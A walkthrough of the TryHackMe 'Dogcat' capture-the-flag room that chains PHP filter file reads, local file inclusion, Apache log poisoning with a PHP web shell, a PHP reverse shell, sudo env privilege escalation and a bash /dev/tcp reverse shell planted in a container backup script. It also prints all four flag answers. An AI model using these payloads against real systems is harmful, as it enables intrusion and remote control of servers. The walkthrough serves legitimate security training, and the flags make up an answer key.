Dogcat Writeup - TryHackMe

Dogcat Writeup - TryHackMe

This is a writeup for the Dogcat room, available on TryHackMe.

Log Poisoning is a well-known method for exploiting a Local File Inclusion (FLI) vulnerability to gain a reverse shell. The attacker attempts to insert malicious input into the server logs through web requests (usually by malformed headers). If the attacker manages to include the corrupted log file on the website, the PHP will try to evaluate it.

Introduction

Room Description

I made this website for viewing cat and dog images with PHP. If you’re feeling down, come look at some dogs/cats! This machine may take a few minutes to fully start up.

Notes & Observations

  • Using PHP filtering technique we can access PHP source code.
  • With local file inclusion and Apache log poisoning we can get remote code execution.
  • There is an easy privilege escalation method with env command.
  • After scanning the files on the server you can notice that the timestamp of backup.sh is frequently changing.

Used tools: ffuf, nmap, CyberChef, base64, Burp, netcat

Walkthrough

Enumeration

  1. Run the following nmap scan:

    nmap <IP> -A -T4
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
    |   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
    |_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
    80/tcp open  http    Apache httpd 2.4.38 ((Debian))
    |_http-title: dogcat
    |_http-server-header: Apache/2.4.38 (Debian)
    
  2. Run a website enumeration with the following ffuf command. We are also looking for some php and txt files, in colorized mode at 100 threads limit:

    ffuf -u http://<IP>/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e .php,.txt -t 100 -c
    
    cat.php                 [Status: 200, Size: 27, Words: 3, Lines: 2, Duration: 56ms]
    flag.php                [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 76ms]
    cats                    [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 55ms]
    dogs                    [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 55ms]
    dog.php                 [Status: 200, Size: 26, Words: 3, Lines: 2, Duration: 51ms]
    server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 56ms]
    

Flag 1

Answer: THM{Th1s_1s_N0t_4_Catdog_ab67edfa}

  1. Open a browser with the given IP address and use the PHP filter technique to get the content of flag.php. We need to provide a path to the file that contains either dog or cat string in it:
    http://<IP>/?view=php://filter/convert.base64-encode/resource=cats/../flag
    
    image.png
  2. Decode the retrieved Base64 string (you can use CyberChef):
    <?php
    $flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
    ?>
    

Flag 2

Answer: THM{LF1_t0_RC3_aec3fb}

  1. Use the same PHP filter technique to get the source code of the index.php file:
    http://<IP>/?view=php://filter/convert.base64-encode/resource=cats/../index
    
    image.png
  2. Decode the retrieved Base64 string and check the PHP code:
    <?php
    function containsStr($str, $substr)
    {
     return strpos($str, $substr) !== false;
    }
    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
    if (isset($_GET['view']))
    {
     if (containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat'))
     {
         echo 'Here you go!';
         include $_GET['view'] . $ext;
     }
     else
     {
         echo 'Sorry, only dogs or cats are allowed.';
     }
    }
    ?>
    
    • There is additional GET parameter (ext) that can be used to escape the extension for local file inclusion.
    • As we already know, the path must contain either cat or dog string to work.
  3. Check if you can access the apache.log log file from the browser:
    http://<IP>/?view=cats/../../../../var/log/apache2/access.log&ext=
    
    image.png
  4. Open Burp Suite and intercept the same request used in previous step:
    GET /?view=cats/../../../../var/log/apache2/access.log&ext HTTP/1.1
    Host: 10.10.10.10
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    
  5. Replace the value of the User-Agent header with <?php system($_GET["cmd"]);?> code and forward it in Burp:
    GET /?view=cats/../../../../var/log/apache2/access.log&ext HTTP/1.1
    Host: 10.10.10.10
    User-Agent: <?php system($_GET['cmd']);?>
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    
  6. Stop intercept mode and find the following text in the access.log file in the browser:

    http://<IP>/?view=cats/../../../../var/log/apache2/access.log&ext
    
    Warning: system(): Cannot execute a blank command in /var/log/apache2/access.log on line
    
  7. Add a command to the cmd parameter. Check the current user, it should be www-data:

    view-source:http://10.10.68.197/?view=cats/../../../../var/log/apache2/access.log&ext&cmd=whoami
    
    10.11.69.106 - - [27/Apr/2022:18:06:09 +0000] "GET /?view=cats/../../../../var/log/apache2/access.log&ext HTTP/1.1" 200 1260 "-" "www-data"
    
  8. Prepare netcat listener and send this PHP reverse shell request in url encoded format in the cmd parameter:

    php -r '$sock=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
    # Encoded
    php+-r+'$sock%3dfsockopen("<IP>",<PORT>)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b'
    

    image.png

  9. Stabilise the shell (optional):

    /usr/bin/script -qc /bin/bash /dev/null
    ^Z
    stty raw -echo; fg; reset
    export TERM=xterm
    

    image.png

  10. Get the flag2 at the /var/www/flag2_QMW7JvaY2LvK.txt destination: image.png

Flag 3

Answer: THM{D1ff3r3nt_3nv1ronments_874112}

  1. At the target machine type sudo -l, notice that /usr/bin/env can be used as root without password.
  2. Use the following command to gain root shell:
    sudo env /bin/sh
    
  3. Get the flag3 at this location /root/flag3.txt

Flag 4

Answer: THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

  1. Run the following command: cat /proc/1/cgroup. Notice that we are in a docker environment, there is also file at /.docketenv:
    root@074345efe45b:/tmp# cat /proc/1/cgroup
    12:freezer:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    11:blkio:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    10:hugetlb:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    9:cpuset:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    8:cpu,cpuacct:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    7:rdma:/
    6:perf_event:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    5:memory:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    4:devices:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    3:pids:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    2:net_cls,net_prio:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    1:name=systemd:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd
    0::/system.slice/containerd.service
    
  2. Prepare linpeas.sh (you can serve it with python3 -m http.server) on your machine and download it to the target machine.
  3. Run linpeas.sh, it will find an interesting file that is frequently changing (/opt/backups/backup.sh): image.png image.png

  4. Create another netcat listener on your machine and replace the content of the backup.sh to this:

    #!/bin/bash
    bash -i >& /dev/tcp/10.11.69.106/53 0>&1
    
  5. Get the last flag at /root/flag4.txt

image.png